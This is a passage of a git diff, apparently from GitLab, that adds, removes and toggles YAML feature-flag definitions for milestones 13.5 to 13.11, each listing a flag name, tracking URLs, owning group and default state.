-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42115
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/249596
-milestone: '13.5'
-type: development
-group: group::configure
-default_enabled: true
diff --git a/config/feature_flags/development/code_review_async_pipeline_creation.yml b/config/feature_flags/development/code_review_async_pipeline_creation.yml
new file mode 100644
index 00000000000..d0e5a3286aa
--- /dev/null
+++ b/config/feature_flags/development/code_review_async_pipeline_creation.yml
@@ -0,0 +1,8 @@
+---
+name: code_review_async_pipeline_creation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58542
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327559
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/codequality_backend_comparison.yml b/config/feature_flags/development/codequality_backend_comparison.yml
deleted file mode 100644
index 9383ecb97d7..00000000000
--- a/config/feature_flags/development/codequality_backend_comparison.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: codequality_backend_comparison
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53068
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300796
-milestone: '13.9'
-type: development
-group: group::testing
-default_enabled: true
diff --git a/config/feature_flags/development/combined_menu.yml b/config/feature_flags/development/combined_menu.yml
new file mode 100644
index 00000000000..84ae04893fd
--- /dev/null
+++ b/config/feature_flags/development/combined_menu.yml
@@ -0,0 +1,8 @@
+---
+name: combined_menu
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56249
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321904
+milestone: '13.10'
+type: development
+group: group::editor
+default_enabled: false
diff --git a/config/feature_flags/development/container_registry_expiration_policies_loopless.yml b/config/feature_flags/development/container_registry_expiration_policies_loopless.yml
new file mode 100644
index 00000000000..5c581151d0e
--- /dev/null
+++ b/config/feature_flags/development/container_registry_expiration_policies_loopless.yml
@@ -0,0 +1,8 @@
+---
+name: container_registry_expiration_policies_loopless
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56962
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325273
+milestone: '13.11'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/customize_homepage.yml b/config/feature_flags/development/customize_homepage.yml
deleted file mode 100644
index 2be1d5ff8e3..00000000000
--- a/config/feature_flags/development/customize_homepage.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: customize_homepage
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54357
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299895
-milestone: '13.10'
-type: development
-group: group::expansion
-default_enabled: true
diff --git a/config/feature_flags/development/destroy_issuable_todos_async.yml b/config/feature_flags/development/destroy_issuable_todos_async.yml
new file mode 100644
index 00000000000..c39e551bdd9
--- /dev/null
+++ b/config/feature_flags/development/destroy_issuable_todos_async.yml
@@ -0,0 +1,8 @@
+---
+name: destroy_issuable_todos_async
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57830
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325689
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/diff_line_syntax_highlighting.yml b/config/feature_flags/development/diff_line_syntax_highlighting.yml
new file mode 100644
index 00000000000..3244dad6c24
--- /dev/null
+++ b/config/feature_flags/development/diff_line_syntax_highlighting.yml
@@ -0,0 +1,8 @@
+---
+name: diff_line_syntax_highlighting
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56108
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324159
+milestone: '13.10'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/dora_daily_metrics.yml b/config/feature_flags/development/dora_daily_metrics.yml
deleted file mode 100644
index 7ca3cf66ea4..00000000000
--- a/config/feature_flags/development/dora_daily_metrics.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: dora_daily_metrics
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55473
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/291746
-milestone: '13.10'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/dynamic_nonce_creation.yml b/config/feature_flags/development/dynamic_nonce_creation.yml
deleted file mode 100644
index b135f288554..00000000000
--- a/config/feature_flags/development/dynamic_nonce_creation.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: dynamic_nonce_creation
-introduced_by_url:
-rollout_issue_url:
-milestone: '13.9'
-type: development
-group: group::manage
-default_enabled: false
diff --git a/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml b/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml
new file mode 100644
index 00000000000..f8e70d05939
--- /dev/null
+++ b/config/feature_flags/development/enforce_max_attachment_size_upload_api.yml
@@ -0,0 +1,8 @@
+---
+name: enforce_max_attachment_size_upload_api
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57250
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325787
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml b/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
new file mode 100644
index 00000000000..ed6d86df37b
--- /dev/null
+++ b/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
@@ -0,0 +1,8 @@
+---
+name: erase_traces_from_already_archived_jobs_when_archiving_again
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56353
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326679
+milestone: "13.11"
+type: development
+group: group::continuous integration
+default_enabled: true
diff --git a/config/feature_flags/development/geo_pipeline_artifact_replication.yml b/config/feature_flags/development/geo_pipeline_artifact_replication.yml
new file mode 100644
index 00000000000..9d5bbf60401
--- /dev/null
+++ b/config/feature_flags/development/geo_pipeline_artifact_replication.yml
@@ -0,0 +1,8 @@
+---
+name: geo_pipeline_artifact_replication
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57741
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326228
+milestone: '13.11'
+type: development
+group: group::geo
+default_enabled: true
diff --git a/config/feature_flags/development/gitaly_find_file.yml b/config/feature_flags/development/gitaly_find_file.yml
deleted file mode 100644
index 8d0bc0c5b53..00000000000
--- a/config/feature_flags/development/gitaly_find_file.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: gitaly_find_file
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56321
-rollout_issue_url:
-milestone: '13.10'
-type: development
-group: group::editor
-default_enabled: false
diff --git a/config/feature_flags/development/gitaly_replace_wiki_delete_page.yml b/config/feature_flags/development/gitaly_replace_wiki_delete_page.yml
new file mode 100644
index 00000000000..40100bb2fe6
--- /dev/null
+++ b/config/feature_flags/development/gitaly_replace_wiki_delete_page.yml
@@ -0,0 +1,8 @@
+---
+name: gitaly_replace_wiki_delete_page
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56495
+rollout_issue_url:
+milestone: '13.10'
+type: development
+group: group::editor
+default_enabled: false
diff --git a/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml b/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml
index 42310def889..cef1fc98f52 100644
--- a/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml
+++ b/config/feature_flags/development/gitlab_ci_builds_queue_limit.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323201
milestone: '13.10'
type: development
group: group::continuous integration
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/gitlab_org_sitemap.yml b/config/feature_flags/development/gitlab_org_sitemap.yml
deleted file mode 100644
index e0f10124d58..00000000000
--- a/config/feature_flags/development/gitlab_org_sitemap.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: gitlab_org_sitemap
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46661
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/276915
-milestone: '13.6'
-type: development
-group: group::editor
-default_enabled: false
diff --git a/config/feature_flags/development/gldropdown_tags.yml b/config/feature_flags/development/gldropdown_tags.yml
new file mode 100644
index 00000000000..704f276ac37
--- /dev/null
+++ b/config/feature_flags/development/gldropdown_tags.yml
@@ -0,0 +1,8 @@
+---
+name: gldropdown_tags
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58589
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327055
+milestone: '13.11'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/graphql_individual_release_page.yml b/config/feature_flags/development/graphql_individual_release_page.yml
deleted file mode 100644
index 8cf13ca4854..00000000000
--- a/config/feature_flags/development/graphql_individual_release_page.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: graphql_individual_release_page
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44779
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/263522
-milestone: '13.5'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/graphql_pipeline_details.yml b/config/feature_flags/development/graphql_pipeline_details.yml
index c6d03850f0e..55cf5caa332 100644
--- a/config/feature_flags/development/graphql_pipeline_details.yml
+++ b/config/feature_flags/development/graphql_pipeline_details.yml
@@ -4,4 +4,4 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46380
rollout_issue_url:
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/infrastructure_registry_page.yml b/config/feature_flags/development/infrastructure_registry_page.yml
new file mode 100644
index 00000000000..fcb34f9d05b
--- /dev/null
+++ b/config/feature_flags/development/infrastructure_registry_page.yml
@@ -0,0 +1,8 @@
+---
+name: infrastructure_registry_page
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57338
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326460
+milestone: '13.11'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/inherited_issuable_templates.yml b/config/feature_flags/development/inherited_issuable_templates.yml
index fb322e9468a..403361ff784 100644
--- a/config/feature_flags/development/inherited_issuable_templates.yml
+++ b/config/feature_flags/development/inherited_issuable_templates.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321247
milestone: '13.9'
type: development
group: group::project management
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/issue_assignees_widget.yml b/config/feature_flags/development/issue_assignees_widget.yml
new file mode 100644
index 00000000000..5c9b7df941f
--- /dev/null
+++ b/config/feature_flags/development/issue_assignees_widget.yml
@@ -0,0 +1,8 @@
+---
+name: issue_assignees_widget
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59620/
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328185
+milestone: '13.11'
+type: development
+group: group::project management
+default_enabled: false
diff --git a/config/feature_flags/development/jira_issues_list.yml b/config/feature_flags/development/jira_issues_list.yml
deleted file mode 100644
index 081daf0281e..00000000000
--- a/config/feature_flags/development/jira_issues_list.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: jira_issues_list
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45678
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/273726
-milestone: '13.6'
-type: development
-group: group::ecosystem
-default_enabled: false
diff --git a/config/feature_flags/development/jira_issues_show_integration.yml b/config/feature_flags/development/jira_issues_show_integration.yml
deleted file mode 100644
index dd89ace22be..00000000000
--- a/config/feature_flags/development/jira_issues_show_integration.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: jira_issues_show_integration
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52446
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299832
-milestone: '13.9'
-type: development
-group: group::ecosystem
-default_enabled: false
diff --git a/config/feature_flags/development/jobs_table_vue.yml b/config/feature_flags/development/jobs_table_vue.yml
new file mode 100644
index 00000000000..ef6fda61736
--- /dev/null
+++ b/config/feature_flags/development/jobs_table_vue.yml
@@ -0,0 +1,8 @@
+---
+name: jobs_table_vue
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57155
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327500
+milestone: '13.11'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/lfs_integrity_inspect_quarantined_objects.yml b/config/feature_flags/development/lfs_integrity_inspect_quarantined_objects.yml
new file mode 100644
index 00000000000..f8b589c0a4f
--- /dev/null
+++ b/config/feature_flags/development/lfs_integrity_inspect_quarantined_objects.yml
@@ -0,0 +1,8 @@
+---
+name: lfs_integrity_inspect_quarantined_objects
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58634
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327440
+milestone: '13.11'
+type: development
+group: group::gitaly
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_atomic_replica.yml b/config/feature_flags/development/load_balancing_atomic_replica.yml
new file mode 100644
index 00000000000..fb0707849d4
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_atomic_replica.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_atomic_replica
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49294
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/291193
+milestone: '13.11'
+type: development
+group:
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_build_hooks_worker.yml b/config/feature_flags/development/load_balancing_for_build_hooks_worker.yml
new file mode 100644
index 00000000000..41c066c4de9
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_build_hooks_worker.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_build_hooks_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57575
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326095
+milestone: '13.11'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml b/config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml
new file mode 100644
index 00000000000..d0a3ee51f0c
--- /dev/null
+++ b/config/feature_flags/development/load_balancing_for_bulk_cron_workers.yml
@@ -0,0 +1,8 @@
+---
+name: load_balancing_for_bulk_cron_workers
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58345
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326721
+milestone: '13.11'
+type: development
+group: group::global search
+default_enabled: false
diff --git a/config/feature_flags/development/longer_count_cache_validity.yml b/config/feature_flags/development/longer_count_cache_validity.yml
new file mode 100644
index 00000000000..380eaafac44
--- /dev/null
+++ b/config/feature_flags/development/longer_count_cache_validity.yml
@@ -0,0 +1,8 @@
+---
+name: longer_count_cache_validity
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57122
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/loose_index_scan_for_distinct_values.yml b/config/feature_flags/development/loose_index_scan_for_distinct_values.yml
new file mode 100644
index 00000000000..84f693d9247
--- /dev/null
+++ b/config/feature_flags/development/loose_index_scan_for_distinct_values.yml
@@ -0,0 +1,8 @@
+---
+name: loose_index_scan_for_distinct_values
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55985
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324210
+milestone: '13.10'
+type: development
+group: group::optimize
+default_enabled: false
diff --git a/config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml b/config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml
new file mode 100644
index 00000000000..7b55cde4998
--- /dev/null
+++ b/config/feature_flags/development/maven_metadata_by_path_with_optimization_fence.yml
@@ -0,0 +1,8 @@
+---
+name: maven_metadata_by_path_with_optimization_fence
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57041
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325460
+milestone: '13.11'
+type: development
+group: group::optimize
+default_enabled: true
diff --git a/config/feature_flags/development/maven_packages_group_level_improvements.yml b/config/feature_flags/development/maven_packages_group_level_improvements.yml
new file mode 100644
index 00000000000..8dfd5ab0f8b
--- /dev/null
+++ b/config/feature_flags/development/maven_packages_group_level_improvements.yml
@@ -0,0 +1,8 @@
+---
+name: maven_packages_group_level_improvements
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57600
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326099
+milestone: '13.11'
+type: development
+group: group::package
+default_enabled: true
diff --git a/config/feature_flags/development/merge_request_cached_merge_pipeline_serializer.yml b/config/feature_flags/development/merge_request_cached_merge_pipeline_serializer.yml
new file mode 100644
index 00000000000..506e59f001b
--- /dev/null
+++ b/config/feature_flags/development/merge_request_cached_merge_pipeline_serializer.yml
@@ -0,0 +1,8 @@
+---
+name: merge_request_cached_merge_pipeline_serializer
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57827
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326317
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml b/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml
deleted file mode 100644
index 0cce0bbf3ba..00000000000
--- a/config/feature_flags/development/merge_request_cached_pipeline_serializer.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: merge_request_cached_pipeline_serializer
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38273
-rollout_issue_url:
-milestone: '13.5'
-type: development
-group: group::code review
-default_enabled: false
diff --git a/config/feature_flags/development/migrate_delayed_project_removal.yml b/config/feature_flags/development/migrate_delayed_project_removal.yml
deleted file mode 100644
index 2d4a7ef762e..00000000000
--- a/config/feature_flags/development/migrate_delayed_project_removal.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: migrate_delayed_project_removal
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53916
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300207
-milestone: '13.9'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/multiple_cache_per_job.yml b/config/feature_flags/development/multiple_cache_per_job.yml
index d06fc7a6f89..f65354cce2c 100644
--- a/config/feature_flags/development/multiple_cache_per_job.yml
+++ b/config/feature_flags/development/multiple_cache_per_job.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321877
milestone: '13.10'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/new_pipelines_table.yml b/config/feature_flags/development/new_pipelines_table.yml
deleted file mode 100644
index e6148f30f96..00000000000
--- a/config/feature_flags/development/new_pipelines_table.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: new_pipelines_table
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54958
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/322599
-milestone: '13.10'
-type: development
-group: group::continuous integration
-default_enabled: false
diff --git a/config/feature_flags/development/notification_setting_recipient_refactor.yml b/config/feature_flags/development/notification_setting_recipient_refactor.yml
new file mode 100644
index 00000000000..7379fe42166
--- /dev/null
+++ b/config/feature_flags/development/notification_setting_recipient_refactor.yml
@@ -0,0 +1,8 @@
+---
+name: notification_setting_recipient_refactor
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57688
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327303
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/other_storage_tab.yml b/config/feature_flags/development/other_storage_tab.yml
new file mode 100644
index 00000000000..8ce4848f98b
--- /dev/null
+++ b/config/feature_flags/development/other_storage_tab.yml
@@ -0,0 +1,8 @@
+---
+name: other_storage_tab
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57121
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325967
+milestone: '13.11'
+type: development
+group: group::fulfillment
+default_enabled: false
diff --git a/config/feature_flags/development/packages_finder_helper_deploy_token.yml b/config/feature_flags/development/packages_finder_helper_deploy_token.yml
new file mode 100644
index 00000000000..fcc73cafd64
--- /dev/null
+++ b/config/feature_flags/development/packages_finder_helper_deploy_token.yml
@@ -0,0 +1,8 @@
+---
+name: packages_finder_helper_deploy_token
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58497
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326808
+milestone: '13.11'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/pages_migration_mark_as_not_deployed.yml b/config/feature_flags/development/pages_migration_mark_as_not_deployed.yml
deleted file mode 100644
index f8b28785a2d..00000000000
--- a/config/feature_flags/development/pages_migration_mark_as_not_deployed.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pages_migration_mark_as_not_deployed
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49473
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/295187
-milestone: '13.8'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/pages_serve_from_migrated_zip.yml b/config/feature_flags/development/pages_serve_from_migrated_zip.yml
deleted file mode 100644
index 2912beb3985..00000000000
--- a/config/feature_flags/development/pages_serve_from_migrated_zip.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: pages_serve_from_migrated_zip
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52573
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300021
-milestone: '13.9'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/periodic_project_authorization_update_via_replica.yml b/config/feature_flags/development/periodic_project_authorization_update_via_replica.yml
new file mode 100644
index 00000000000..abbc3faeb3a
--- /dev/null
+++ b/config/feature_flags/development/periodic_project_authorization_update_via_replica.yml
@@ -0,0 +1,8 @@
+---
+name: periodic_project_authorization_update_via_replica
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58752
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327092
+milestone: '13.11'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/phabricator_import.yml b/config/feature_flags/development/phabricator_import.yml
index 264988e8006..5340caef140 100644
--- a/config/feature_flags/development/phabricator_import.yml
+++ b/config/feature_flags/development/phabricator_import.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/groups/gitlab-org/-/epics/1197
milestone: '12.0'
type: development
group: group::import
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/pick_into_project.yml b/config/feature_flags/development/pick_into_project.yml
index c180133b86f..fc28527d5a3 100644
--- a/config/feature_flags/development/pick_into_project.yml
+++ b/config/feature_flags/development/pick_into_project.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324154
milestone: '13.10'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/pipeline_editor_branch_switcher.yml b/config/feature_flags/development/pipeline_editor_branch_switcher.yml
new file mode 100644
index 00000000000..4ba6c8f94fd
--- /dev/null
+++ b/config/feature_flags/development/pipeline_editor_branch_switcher.yml
@@ -0,0 +1,8 @@
+---
+name: pipeline_editor_branch_switcher
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57562
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326189
+milestone: '13.11'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/pipeline_editor_empty_state_action.yml b/config/feature_flags/development/pipeline_editor_empty_state_action.yml
index a17f3c0363b..870aeb14932 100644
--- a/config/feature_flags/development/pipeline_editor_empty_state_action.yml
+++ b/config/feature_flags/development/pipeline_editor_empty_state_action.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323229
milestone: '13.10'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/pipeline_filter_jobs.yml b/config/feature_flags/development/pipeline_filter_jobs.yml
new file mode 100644
index 00000000000..6fb989a6815
--- /dev/null
+++ b/config/feature_flags/development/pipeline_filter_jobs.yml
@@ -0,0 +1,8 @@
+---
+name: pipeline_filter_jobs
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57142
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325693
+milestone: '13.11'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/pipeline_graph_layers_view.yml b/config/feature_flags/development/pipeline_graph_layers_view.yml
new file mode 100644
index 00000000000..fae3e118226
--- /dev/null
+++ b/config/feature_flags/development/pipeline_graph_layers_view.yml
@@ -0,0 +1,8 @@
+---
+name: pipeline_graph_layers_view
+introduced_by_url:
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/pipeline_status_for_pipeline_editor.yml b/config/feature_flags/development/pipeline_status_for_pipeline_editor.yml
index 886f8f0f7e6..a24d9423269 100644
--- a/config/feature_flags/development/pipeline_status_for_pipeline_editor.yml
+++ b/config/feature_flags/development/pipeline_status_for_pipeline_editor.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321518
milestone: '13.10'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml b/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml
new file mode 100644
index 00000000000..92f63808bd8
--- /dev/null
+++ b/config/feature_flags/development/preload_associations_jobs_request_api_endpoint.yml
@@ -0,0 +1,8 @@
+---
+name: preload_associations_jobs_request_api_endpoint
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57694
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326477
+milestone: "13.11"
+type: development
+group: group::continuous integration
+default_enabled: true
diff --git a/config/feature_flags/development/product_intelligence_metrics_names_suggestions.yml b/config/feature_flags/development/product_intelligence_metrics_names_suggestions.yml
deleted file mode 100644
index 6831dcdacd5..00000000000
--- a/config/feature_flags/development/product_intelligence_metrics_names_suggestions.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: product_intelligence_metrics_names_suggestions
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55733
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323460
-milestone: '13.10'
-type: development
-group: group::product intelligence
-default_enabled: false
diff --git a/config/feature_flags/development/project_sidebar_refactor.yml b/config/feature_flags/development/project_sidebar_refactor.yml
new file mode 100644
index 00000000000..88cca9d8d13
--- /dev/null
+++ b/config/feature_flags/development/project_sidebar_refactor.yml
@@ -0,0 +1,8 @@
+---
+name: project_sidebar_refactor
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58638
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326111
+milestone: '13.11'
+type: development
+group: group::editor
+default_enabled: false
diff --git a/config/feature_flags/development/projects_post_creation_worker.yml b/config/feature_flags/development/projects_post_creation_worker.yml
new file mode 100644
index 00000000000..5d07e71f907
--- /dev/null
+++ b/config/feature_flags/development/projects_post_creation_worker.yml
@@ -0,0 +1,8 @@
+---
+name: projects_post_creation_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58119
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326665
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: true
diff --git a/config/feature_flags/development/recursive_namespace_lookup_as_inner_join.yml b/config/feature_flags/development/recursive_namespace_lookup_as_inner_join.yml
deleted file mode 100644
index c28e553f23e..00000000000
--- a/config/feature_flags/development/recursive_namespace_lookup_as_inner_join.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: recursive_namespace_lookup_as_inner_join
-introduced_by_url:
-rollout_issue_url:
-milestone: '13.10'
-type: development
-group: group::optimize
-default_enabled: false
diff --git a/config/feature_flags/development/refactor_blob_viewer.yml b/config/feature_flags/development/refactor_blob_viewer.yml
new file mode 100644
index 00000000000..231e2684023
--- /dev/null
+++ b/config/feature_flags/development/refactor_blob_viewer.yml
@@ -0,0 +1,8 @@
+---
+name: refactor_blob_viewer
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57326
